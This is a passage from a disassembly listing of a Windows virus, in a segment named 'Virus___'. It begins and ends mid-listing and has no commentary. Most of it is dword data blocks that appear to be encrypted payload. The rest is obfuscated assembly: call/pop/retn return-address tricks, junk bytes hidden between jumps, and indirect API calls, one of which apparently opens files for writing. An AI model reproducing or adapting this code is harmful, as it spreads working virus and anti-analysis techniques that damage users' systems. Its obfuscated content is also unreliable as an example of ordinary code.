0A1C94AE5h, 95741C27h, 95858D97h, 0E9095FFCh, 14h, 2471B9A0h dd 89762CABh, 0FC644CEDh, 8349EFA9h, 0D0C45233h, 9400C7h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 92E5B8C3h, 95B58D58h, 6A095FFCh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 6841C357h, 61C03B55h, 6C289397h, 0F259501h, 2956095Dh dd 5D11F185h, 0FF35B209h, 55006AD0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0D958B35h dd 60095D1Ah, 10E9h, 7441CB00h, 0FB6E5D38h, 0E2BE23F9h dd 0A6293429h, 12E9B1h, 0F14A0000h, 0BEF7F3C1h, 0CB3244EEh dd 678B181Eh, 430907Fh, 95858D61h, 89095FFCh, 5D17DDBDh dd 4788309h, 2B850F06h, 0F8000000h, 0FD2985C7h, 1095Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 986D74C3h, 0BD830CA2h, 95D10BDh, 4E850F00h dd 8A000000h, 29BD83CAh, 95FFDh, 3F850Fh, 0BD830000h, 95D2071h dd 32840F00h, 89000000h, 5D12BDB5h, 0B585C709h, 95D04h dd 60000000h, 0A7E18166h, 0BE84Ah, 80010000h, 0FBCED08Ch dd 64EA1419h, 0E99D8B82h, 59095D0Ch, 0CE8A5761h, 0DB8C665Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 5C35040h dd 14336D91h, 0D2B70FB4h, 0BA96D181h, 81660561h, 0F6283DDAh dd 840F04C3h, 586h, 0AE9h, 0BFA4B400h, 0DA2375ACh, 8B5E42BFh dd 5D0A3595h, 7185C709h, 95D09h, 81000000h, 0E2FA7FD1h dd 7FBD8070h, 95FF8h, 6850Fh, 95290000h, 95D24F5h, 333585C6h dd 0F47095Dh, 387h, 0D7B70F00h, 0E45B8668h, 74B966E3h dd 1D8D8B13h, 0FF095D29h, 5D08F1B5h, 1B37BA09h, 95017526h dd 95D210Dh, 3973858Dh, 850F095Dh, 2, 8D8BCE8Bh, 95D163Dh dd 88B5D0FFh, 10468h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 804ED64Eh, 9D8D86D2h dd 95D1D79h, 6880F60h, 8B000000h, 5D11DD9Dh, 0BD235709h dd 95D2481h, 0E8536159h, 0Dh, 0F8319D85h, 0AFEA613Dh, 70A636EBh dd 0B58D8965h, 5A095D0Bh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 60E311C3h, 26559D01h dd 8B61095Dh, 79858DCFh, 0F095D1Dh, 386h, 0AED98000h, 2791958Bh dd 8950095Dh, 5D21D995h, 31858D09h, 81095FF8h, 502A0CC1h dd 50F88B13h, 14E9h, 9F6C9A00h, 0C88E2773h, 8CF5D4DFh dd 958F48B7h, 2C52CF0h, 4858D35h, 0F095FEFh, 2D8Bh, 0EE800h dd 0C99B0000h, 350D0E70h, 88F17311h, 89D623D1h, 14E9h dd 0D489FF00h, 684618Fh, 0BBE8DE64h, 8504409Ah, 4ED34501h dd 8B665F05h, 9D8950CBh, 95D0C31h, 111D95FFh, 0C980095Dh dd 0CC483D6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0CEC35141h, 2812E7E1h, 3F536395h, 287D958Bh, 6A095Dh dd 8068h, 6A036A00h, 68006A00h, 80000000h, 0EF04858Dh dd 0FF50095Fh, 5D33C995h, 14858909h, 0C6095FF8h, 5D333585h dd 87684709h, 0FFC7B15Eh, 5D08F1B5h, 73858D09h, 0FF095D39h dd 0FF006AD0h, 5FF814B5h, 0FD0FF09h, 0F82h, 0AE900h, 5D0B0000h dd 9458508Fh, 67DBB795h, 3DD68B66h, 37D0h, 31830Fh, 89600000h dd 5D2A2995h, 619D8909h, 61095D11h, 0F814B5FFh, 95FF095Fh dd 95D1795h, 167D9D09h, 0BE9095Dh, 8B000001h, 5D15098Dh dd 25BD3109h, 0FF095D26h, 5FF814B5h, 0BE85209h, 4E000000h dd 0D725D152h, 2C70779Ch, 81665045h, 5FDAF2EFh, 9595FF5Ah dd 89095D17h, 5D299195h, 60006A09h, 0E966F181h, 9E977F6h dd 91000000h, 46ADB3DEh, 23F5555Ah, 9006A61h, 5D028D85h dd 958D2309h, 6A095D2Bh, 8D8B6000h, 95D1699h, 10E860h dd 0E5780000h, 0EBF3652h, 0F43ECA62h, 338EA04Eh, 0B5A990Fh dd 5D276D9Dh, 6A616109h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 3BB04BFBh, 8B006A5Dh dd 5D31098Dh, 0F006A09h, 858DD2BFh, 95FF818h, 6810Fh, 0BD8B0000h dd 95D26C9h, 12E950h, 91490000h, 68747169h, 5960002Eh dd 0F2B25FD4h, 588218EFh, 33C995FFh, 83F8095Dh, 850FFFF8h dd 168h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0D6C35141h, 858D4F42h, 95FAE76h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 63C35141h, 24F2E71h dd 68F0F67h, 8B000000h, 5D28D9BDh, 0BD0FF09h, 5D2F25BDh dd 89006A09h, 5D02F99Dh, 6ACE8B09h, 85336000h, 95D32C5h dd 25E59D8Bh, 6A61095Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 6AC0E6h, 3850Fh, 8B660000h dd 0BF006AC8h, 6B7B1D79h, 8F0F006Ah, 3, 8DFB8B66h, 5FF81885h dd 0D0B70F09h, 95FFF550h, 95D33C9h, 0BD59589h, 0F883095Dh dd 99850FFFh, 0E9000000h, 13h, 6BC139D3h, 0D8679E22h, 0E03A0CD4h dd 8EF2ABE2h, 8DDA8BEDh, 5FF220B5h, 0A59D8909h, 8D095D10h dd 5FA43285h, 6820F09h, 89000000h, 5D228985h, 6AD0FF09h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 5160C356h, 870F6099h, 6, 9418D89h, 9D89095Dh dd 95D0619h, 0FBB70F61h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 8173A1C3h, 0FF9CE675h dd 5D02BD95h, 0D3BF0F09h, 0F8148589h, 0CF8A095Fh, 0BFB9006Ah dd 8D4E1D8Ah, 5FF80C85h, 51006A09h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 6BCC1014h, 5404610Fh dd 8E8h, 5D408900h, 973EBF26h, 45BD8946h, 5F095D09h, 6AE68050h dd 6AD18B66h, 699D0904h, 8B095D1Fh, 5D11098Dh, 0C5858D09h dd 0F5095D24h, 0E9CA8050h, 8D0B006Ah, 95D107Dh, 8589006Ah dd 95D33C1h, 0B509016Ah, 95D1CEDh, 5359589h, 0B5FF095Dh dd 95FF814h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 98C35747h, 0D7245D9Eh, 3A471BC5h, 68B0F89h, 8B000000h dd 5D291195h, 6195FF09h, 89095D00h, 5D16658Dh, 198D8B09h dd 0E9095D13h, 1BE3h, 85D958Bh, 0C08B095Dh, 6850Fh, 0EA810000h dd 3002560Ah, 1809BD83h, 7500095Dh, 29BD8309h, 95D03h dd 53501974h, 0D2B8C08Bh, 89000007h, 5D10AD85h, 619D8D09h dd 0FF095FAAh, 83585BD3h, 5D0329BDh, 17740009h, 0D2B85350h dd 89000007h, 5D10AD85h, 509D8D09h, 0FF095FA7h, 66585BD3h dd 9589C88Bh, 95D053Dh, 0C0B5C08Bh, 97185C7h, 1095Dh, 0F570000h dd 58Ah, 15F2B900h, 68594EDCh, 0CEE4E7B8h, 605B5FFh, 858D095Dh dd 95D3973h, 8589D0FFh, 95D31E1h, 0FA70858Dh, 8D50095Fh dd 5FFD2D85h, 1685009h, 0FF800000h, 5D31E195h, 75C00B09h dd 4185C70Ah, 1095D23h, 68000000h, 0C005DBD4h, 605B5FFh dd 858D095Dh dd 95D3973h, 8589D0FFh, 95D2781h, 0ECBD858Dh, 0FF50095Fh dd 5D08F1B5h, 1195FF09h, 0B095D2Ah, 8B0B74C0h, 70858DD8h dd 50095FFCh, 858DD3FFh, 95FFC70h, 9388366h, 85C70A75h dd 95D1639h, 1, 2EDD95FFh, 0FF25095Dh, 83000000h, 0A7305F8h dd 2A0185C7h, 1095Dh, 0DE80000h, 3000000h, 76DAC823h, 0DFB8A45Fh dd 57BD7484h, 2F4BC181h, 6A5F574Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 842CC351h dd 2723B063h, 762D75FEh, 55AE9ABFh, 0F9BD010Dh, 8B095D29h dd 5D2AE5BDh, 7FBD8009h, 95FF8h, 1A840Fh, 0D2810000h, 45B59E81h dd 33598D8Bh, 0BD83095Dh, 95FFD29h, 9840F00h, 0F8000000h dd 1A3AE9h, 0D2BF0F00h, 1639BD83h, 0F00095Dh, 0EE85h, 858DFC00h dd 95FF849h, 6650D48Ah, 6624E4BFh, 59EEEF81h, 6A016Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 8F8FC2C3h, 9C92EAF2h, 8B66006Ah, 6AFB8BD0h, 12E900h dd 0D0040000h, 0E325956h, 0F2A20EFFh, 9FF4757Fh, 8A31DF0Bh dd 234995FFh, 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 1FD003C3h, 0F1AE926h, 388h, 0CEBF0F00h dd 0F8738589h, 6A095Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 11682DC3h, 36EC5948h, 0F1B589A1h dd 6A095D06h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0A9035EFFh, 89E235E4h, 5D196995h dd 73B5FF09h, 0FF095FF8h, 5D038595h, 8DEE8A09h, 5FEC8485h dd 0DD858909h, 50095D0Ah, 65177BAh, 0FF14B241h, 5D0B4995h dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0E979907Eh, 89E4CC7Bh, 5FED0E85h, 0F7816609h dd 858D6E33h, 95FEC91h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0FC35040h, 4BAAE299h, 12E950E1h, 9F000000h dd 6945172Ah, 0D2B02CEDh, 0E3EC9401h, 2D4CC4CEh, 0EB5FFA7h dd 0E8095FEDh, 0Ah, 4854FEA4h, 85B8DA02h, 14E87EBDh, 0F6000000h dd 0D77F8448h, 0B40E39B6h, 0A5F3CFE7h, 0E405E013h, 6677C081h dd 0D0F6EF81h, 95FF5F59h, 95D2A11h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0CFC35646h, 0DA814828h, 30259E00h dd 1D018D31h, 0BF0F095Dh, 0DD8589D2h, 0B9095D2Bh, 465CCA41h dd 0ECFF858Dh, 0FE9095Fh, 0F6000000h, 73E6126Dh, 0C7A35ADCh dd 565A01A0h, 6A50E3A3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FF3EC351h, 5FED0EB5h dd 820F09h, 0FF000000h, 5D2A1195h, 3D858909h, 89095D1Fh dd 5FED2285h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 1D55B2A8h, 89BAF270h, 8D392DE5h dd 5FECDE85h, 0CBBF0F09h, 0A5958B50h, 0FF095D03h, 5FED0EB5h dd 99958B09h, 0FF095D21h, 5D2A1195h, 9DBD8B09h, 89095D31h dd 5FED1A85h, 6DBD8909h, 8D095D26h, 5FECD185h, 52006A09h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0BA00D357h, 3A4C2284h, 0CE850h, 52F70000h, 3C52BB60h dd 0F1CD2045h, 8589DEC2h, 95D0725h, 0EB5FF59h, 66095FEDh dd 0FFFBCCB9h, 5D2A1195h, 19BD8B09h, 89095D1Dh, 5FED1E85h dd 8DFB8B09h, 5FECEC85h, 8B665109h, 0F505ACAh, 0B5FFD2B7h dd 95FED0Eh, 5AD78B52h, 2A1195FFh, 0A3B5095Dh, 13B58589h dd 7EB2095Dh, 0ECA0858Dh, 0BF0F095Fh, 6A50CAh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 60D799C3h, 3268F8D6h, 0F518589h, 0B5FF095Dh, 95FED0Eh dd 314DBD8Bh, 0BA60095Dh, 41A349FBh, 23B1B589h, 0FF61095Dh dd 5D2A1195h, 12858909h, 0F095FEDh, 858DFABFh, 95FECAFh dd 6E9h, 7A3ACE00h, 500FAB65h, 1F859589h, 0B5FF095Dh, 95FED0Eh dd 535958Bh, 95FF095Dh, 95D2A11h, 0CE9h, 92D89500h, 3D9BCD52h dd 90929612h, 1685894Dh, 66095FEDh, 68A989BAh, 104h, 17E58D33h dd 858D095Dh, 95FEDA6h, 0BD0950F8h, 95D03D9h, 206DBD29h dd 858D095Dh, 95FEEAAh, 7D852960h, 80095D08h, 8B6195F6h dd 5D152D8Dh, 6A5009h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 1BD834C3h, 9E8h, 0BC386D00h, 0BBA835Ah dd 5FFC5EE8h, 298D95FFh, 92BA095Dh, 0E8584080h, 14h, 8C3492Fh dd 0B654AC30h, 0B06DFC88h, 270F81CDh, 417F9EAAh, 12CD8D8Bh dd 8559095Dh, 27850FC0h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 7309C355h dd 83ACEDE9h, 0F15DCA4h, 0BD80D2B7h, 95FF87Fh, 11850F00h dd 81000000h, 46C62DDFh, 1595E912h, 0CA810000h, 265EF534h dd 1639BD83h, 0F00095Dh, 3E85h, 0F1816600h, 0BD8345A6h dd 95FFD29h, 4C840F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7EB0C351h dd 8CD0FAh, 8BE0A71Eh, 5D2241BDh, 8D46B109h, 5FED4385h dd 7EDA8109h, 0E9583F6Fh, 1533h, 29B98D89h, 0B70F095Dh dd 25E9CAh, 8DF50000h, 5FED2E85h, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 50C8CE1Fh dd 23018D8Bh, 858D095Dh, 95FEDA6h, 11F1BD03h, 8A50095Dh dd 659D89D1h, 83095D1Ah, 5D1639BDh, 840F0009h, 37h, 858D95B5h dd 95FEECCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 4FC35040h, 7C637014h, 0EF8A804Fh, 2EE9h, 95BD3100h dd 8D095D02h, 5FEEB585h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 8166D23Ch, 5037CBF2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8BC35747h dd 582FF72h, 5958BCEh, 66095D17h, 858DCA8Bh, 95FEF04h dd 272D8D8Bh, 150095Dh, 5D09559Dh, 30EA8109h, 0FF321F44h dd 5D111D95h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 10C483E4h, 0CA81C08Bh, 479A9146h dd 1809BD83h, 7500095Dh, 29BD8309h, 95D03h, 53501974h dd 0D3B8C08Bh, 89000007h, 5D10AD85h, 619D8D09h, 0FF095FAAh dd 83585BD3h, 5D0329BDh, 17740009h, 0D3B85350h, 89000007h dd 5D10AD85h, 509D8D09h, 0FF095FA7h, 0F585BD3h, 0B70FFABFh dd 0C08BF8C8h, 81F8BF0Fh, 5FED2EBDh, 65726F09h, 0C3840F61h dd 8B000000h, 5D101995h, 0A6858D09h, 50095FEDh, 0EEE3858Dh dd 8D50095Fh, 5FEF0485h, 95FF5009h, 95D111Dh, 0C60CC483h dd 5D333585h, 4F684409h, 0FF96A318h, 5D08F1B5h, 73858D09h dd 0FF095D39h, 8DD88BD0h, 5FEF0485h, 0D3FF5009h, 0ED2E858Dh dd 8D50095Fh, 5FEDA685h, 0BD835009h, 95D1639h, 8D087400h dd 5FEECC85h, 8D06EB09h, 5FEEB585h, 858D5009h, 95FEF04h dd 1D95FF50h, 83095D11h, 6A10C4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BF0F9EC3h, 0A9B531D7h dd 6A095D1Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0FB3C356h, 95FFC9B7h, 95D2EDDh dd 7E8h, 0CD24E300h, 0CA6D7E2Dh, 5FFFB70Fh, 0BE59509h dd 0FF25095Dh, 89000000h, 5D04D195h, 5F88309h, 0AA830Fh dd 8B500000h, 5D0C5595h, 85C75F09h, 95D2A01h, 1, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1DC35747h, 40BA663Eh dd 0F98D8BDAh, 8D095D0Eh, 5FED6285h, 53006A09h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 2D518CAFh dd 0BF04029Ah, 0BE9E8CCh, 25000000h, 54D62456h, 0C3420220h dd 6BE90E7Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0EC6BC355h, 9FE15668h dd 5735235Eh, 23098D29h, 0BD0B095Dh, 95D0291h, 1639BD83h dd 0F00095Dh, 1984h, 8DD38B00h, 5FED8D85h, 8D8D8B09h, 0E9095D17h dd 1Ah, 1E818D89h, 858D095Dh, 95FED6Fh, 88F0Fh, 0F570000h dd 86h, 85895A00h, 95FEDA2h, 1639BD83h, 0F00095Dh, 1985h dd 45BD8B00h, 83095D2Fh, 5FFD29BDh, 840F0009h, 10h, 187D8D29h dd 98E9095Dh, 66000011h, 7F98C981h, 50EE9h, 810FFC00h dd 3, 8BFA8B66h, 1BD8BC0h, 83095D29h, 5D1809BDh, 9750009h dd 329BD83h, 7400095Dh, 8B535019h, 7D4B8C0h, 85890000h dd 95D10ADh, 0AA619D8Dh, 0D3FF095Fh, 0BD83585Bh, 95D0329h dd 50177400h, 7D4B853h, 85890000h, 95D10ADh, 0A7509D8Dh dd 0D3FF095Fh, 0F98B585Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 2AC35242h, 5877D7Fh, 81C8F031h, 7E8FCh dd 7B790000h, 0C44DDC3Ch, 8E905h, 77B10000h, 0CCEFA66Fh dd 8B5F37B8h, 8C0F53C0h, 0 ; --------------------------------------------------------------------------- pop edi push 0F003Fh mov edx, [ebp+95D2A31h] push 0 push 0 push edx call sub_59C5C5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C5C5 proc near ; CODE XREF: Virus___:0059C5BDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_59C5C5 endp ; --------------------------------------------------------------------------- push esp and [edx+3Ah], edi dec esi dec esi push esi mov edx, [ebp+95D129Dh] pop edi sub [ebp+95D302Dh], edx jge loc_59C5F5 and edx, 4206A59Bh loc_59C5F5: ; CODE XREF: Virus___:0059C5E9j push 0 call dword ptr [ebp+95D2BDDh] mov ecx, edi test eax, eax jnz loc_59C620 jmp loc_59C61C ; --------------------------------------------------------------------------- dd 35E21251h, 59195690h, 1BEDDE23h, 280E652Fh ; --------------------------------------------------------------------------- loc_59C61C: ; CODE XREF: Virus___:0059C607j mov cx, 33B0h loc_59C620: ; CODE XREF: Virus___:0059C601j mov [ebp+95FED26h], eax push 0 push ebp call sub_59C631 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C631 proc near ; CODE XREF: Virus___:0059C629p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_59C631 endp ; --------------------------------------------------------------------------- db 9Fh, 70h, 84h dd 0AE9E7h, 0FBDF0000h, 240F08D8h, 0A8A3D579h, 8D89006Ah dd 95D25F1h, 0DE80006Ah, 67BA6690h, 6A006AD5h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 501CC356h, 958BAD8Fh, 95D2689h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 47B589C3h dd 0E9006AF8h, 11h, 12847D6Ah, 0D92D9677h, 0F19DC549h dd 0A40B5632h, 71C180E4h, 0EF04858Dh, 0BE9095Fh, 9A000000h dd 0E77D1FEDh, 63F8677Eh, 2B50A884h, 5D1A9195h, 8B016A09h dd 5D11C1BDh, 29BD8B09h, 6A095D05h, 0EE901h, 39BA0000h dd 0FA4DE27Ah, 2DE29A8Dh, 52A3B76Dh, 6A016Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 685F8AC3h dd 8D8B9253h, 95D22C1h, 0F01FF68h, 10E900h, 0D6360000h dd 94875606h, 0B373EB5Ah, 0A59B9510h, 0BD83CD0Bh, 95D1639h dd 4E840F00h, 0F000000h, 68Bh, 2D958B00h, 8D095D09h, 5FED8385h dd 0FE809h, 8C150000h, 13866F57h, 0D0EC93DBh, 0B6C6106Eh dd 0CB8B66DAh, 3EF18059h, 2CE9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 59858D63h dd 66095FEDh, 9E958B9h, 5D0051B5h, 8B665009h, 6A50FEh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 7595E2C3h, 339D8D2Bh, 0B501095Dh, 95D1121h, 0ED26B5FFh dd 57BF095Fh, 0FF0D3A83h, 5FED1295h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 4D4C64DCh dd 0B9666D34h, 0C08522D9h, 27850Fh, 8D890000h, 95D3381h dd 9FE9h, 168D0F00h, 0E9000000h, 11h, 0D5DB7DEBh, 0D427E95Dh dd 9A2FCA9Dh, 21E1800Ch, 2A85897Dh, 3095FEDh, 5D3199BDh dd 2AB5FF09h, 89095FEDh, 5D1A0D8Dh, 0B595FF09h, 6A095D13h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 72C3C355h, 10AA99C7h, 118BD202h, 219D8B60h dd 60095D32h, 535BD29h, 8A0F095Dh, 0 ; --------------------------------------------------------------------------- popa popa test eax, eax jnz loc_59C8CC push 0 push ebp call sub_59C8B5 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C8B5 proc near ; CODE XREF: Virus___:0059C8ADp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_59C8B5 endp ; --------------------------------------------------------------------------- db 0D6h, 0BCh, 0D8h ; --------------------------------------------------------------------------- mov di, 0A2D8h loc_59C8CC: ; CODE XREF: Virus___:0059C8A4j push 10h mov di, dx cmp dword ptr [ebp+95D1639h], 0 jz loc_59C907 jmp loc_59C8EA ; --------------------------------------------------------------------------- and dword ptr [esi+32h], 0E1C7CA25h loc_59C8EA: ; CODE XREF: Virus___:0059C8DEj lea eax, [ebp+95FED83h] jmp loc_59C8FA ; --------------------------------------------------------------------------- db 7Ah, 0E3h, 0BCh db 0D7h, 2Dh ; --------------------------------------------------------------------------- loc_59C8FA: ; CODE XREF: Virus___:0059C8F0j jmp loc_59C913 ; --------------------------------------------------------------------------- mov dh, ah xor edi, 52C0DB51h loc_59C907: ; CODE XREF: Virus___:0059C8D8j lea eax, [ebp+95FED59h] sub [ebp+95D2F71h], edx loc_59C913: ; CODE XREF: Virus___:loc_59C8FAj push eax and edi, [ebp+95D31C9h] push dword ptr [ebp+95FED26h] push ecx movzx edi, ax pop edi call dword ptr [ebp+95FED1Eh] mov edx, edi mov ecx, [ebp+95D1E9Dh] test eax, eax jnz loc_59C960 push 0 push ebp call sub_59C946 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C946 proc near ; CODE XREF: Virus___:0059C93Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_59C946 endp ; --------------------------------------------------------------------------- cmc aaa push 56h mov edi, [ebp+95D30F9h] loc_59C960: ; CODE XREF: Virus___:0059C935j mov [ebp+95FED2Ah], eax add edi, 5DEAA275h push 0 jmp loc_59C987 ; --------------------------------------------------------------------------- db 1Bh dd 0FA3ED861h, 0EE12A590h, 28F6EFF0h, 0FADB8C59h db 0Bh, 0A8h, 0E6h ; --------------------------------------------------------------------------- loc_59C987: ; CODE XREF: Virus___:0059C96Ej push 0 jmp loc_59C9A0 ; --------------------------------------------------------------------------- dw 6F1Bh dd 6E4A787Ah, 387A2FAAh, 547BCF3h, 0BAF48AF1h ; --------------------------------------------------------------------------- loc_59C9A0: ; CODE XREF: Virus___:0059C989j push dword ptr [ebp+95FED2Ah] adc cl, 0EDh mov [ebp+95D03E9h], edi call dword ptr [ebp+95FED16h] jbe loc_59C9C1 mov [ebp+95D0A3Dh], edi loc_59C9C1: ; CODE XREF: Virus___:0059C9B5j test eax, eax jnz loc_59C9CF mov [ebp+95D2F25h], edx loc_59C9CF: ; CODE XREF: Virus___:0059C9C3j push dword ptr [ebp+95FED2Ah] and ecx, 3D4B688Bh call dword ptr [ebp+95D13B5h] mov edx, 3CC3B81Ah test eax, eax jnz loc_59CA13 push 0 push edi call sub_59C9F9 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59C9F9 proc near ; CODE XREF: Virus___:0059C9F1p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_59C9F9 endp ; --------------------------------------------------------------------------- db 89h, 78h, 0F3h dd 0ED9D897Ch db 26h, 5Dh, 9 ; --------------------------------------------------------------------------- loc_59CA13: ; CODE XREF: Virus___:0059C9E8j push 0 mov [ebp+95D163Dh], eax push 80h sub [ebp+95D16F5h], edx add [ebp+95D10F1h], esi push 3 or dl, 0BCh movsx ecx, bx push 0 mov edi, [ebp+95D20C1h] push 0 push 0 push edi call sub_59CA49 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59CA49 proc near ; CODE XREF: Virus___:0059CA41p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_59CA49 endp ; --------------------------------------------------------------------------- popa sbb dword ptr [ebx-18h], 0A595298Eh push ds pop ebp or [ecx], esi mov ebp, 95D15F5h push 0C0000000h mov di, 8220h push dword ptr [ebp+95FEDA2h] jmp loc_59CA91 ; --------------------------------------------------------------------------- dw 0DD32h dd 470FA121h, 23803EBEh, 361C89B7h, 0B882B891h db 1Dh ; --------------------------------------------------------------------------- loc_59CA91: ; CODE XREF: Virus___:0059CA79j call dword ptr [ebp+95D33C9h] mov cx, 4D32h cmp eax, 0FFFFFFFFh jnz loc_59CFC9 inc dword ptr [ebp+95FF810h] sbb dl, 56h cmp dword ptr [ebp+95FF810h], 2 jz loc_59CEDC push 0 push eax call sub_59CAC5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59CAC5 proc near ; CODE XREF: Virus___:0059CABDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_59CAC5 endp ; --------------------------------------------------------------------------- or al, 0FCh lea eax, dword_5B243B[ebp] jmp loc_59CAF6 ; --------------------------------------------------------------------------- dw 5213h dd 70C56A64h, 0C97A964Ah, 21BD86F1h, 0AF6EC901h db 6Fh, 0Eh ; --------------------------------------------------------------------------- loc_59CAF6: ; CODE XREF: Virus___:0059CADDj call eax mov edx, [ebp+95D16F5h] lea eax, dword_5B1E8E[ebp] push 0 push eax call sub_59CB0F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59CB0F proc near ; CODE XREF: Virus___:0059CB07p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_59CB0F endp ; --------------------------------------------------------------------------- align 10h mov [ebp+95D0301h], edx mov edi, eax sub [ebp+95D1EA9h], edx call eax call near ptr loc_59CB3F+2 sbb ah, ch cmp al, 86h adc dh, [ecx-31h] pop ebp sub edx, [ecx] loc_59CB3F: ; CODE XREF: Virus___:0059CB30p sub [ecx-75h], ebx cli pop edx mov eax, eax clc mov edx, [ebp+95D1EA5h] cmp dword ptr [ebp+95D1809h], 0 jnz short loc_59CB5F cmp dword ptr [ebp+95D0329h], 0 jz short loc_59CB78 loc_59CB5F: ; CODE XREF: Virus___:0059CB54j push eax push ebx mov eax, eax mov eax, 7D8h mov [ebp+95D10ADh], eax lea ebx, [ebp+95FAA61h] call ebx pop ebx pop eax loc_59CB78: ; CODE XREF: Virus___:0059CB5Dj cmp dword ptr [ebp+95D0329h], 0 jz short loc_59CB98 push eax push ebx mov eax, 7D8h mov [ebp+95D10ADh], eax lea ebx, [ebp+95FA750h] call ebx pop ebx pop eax loc_59CB98: ; CODE XREF: Virus___:0059CB7Fj push 0 push ecx call sub_59CBA3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59CBA3 proc near ; CODE XREF: Virus___:0059CB9Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], 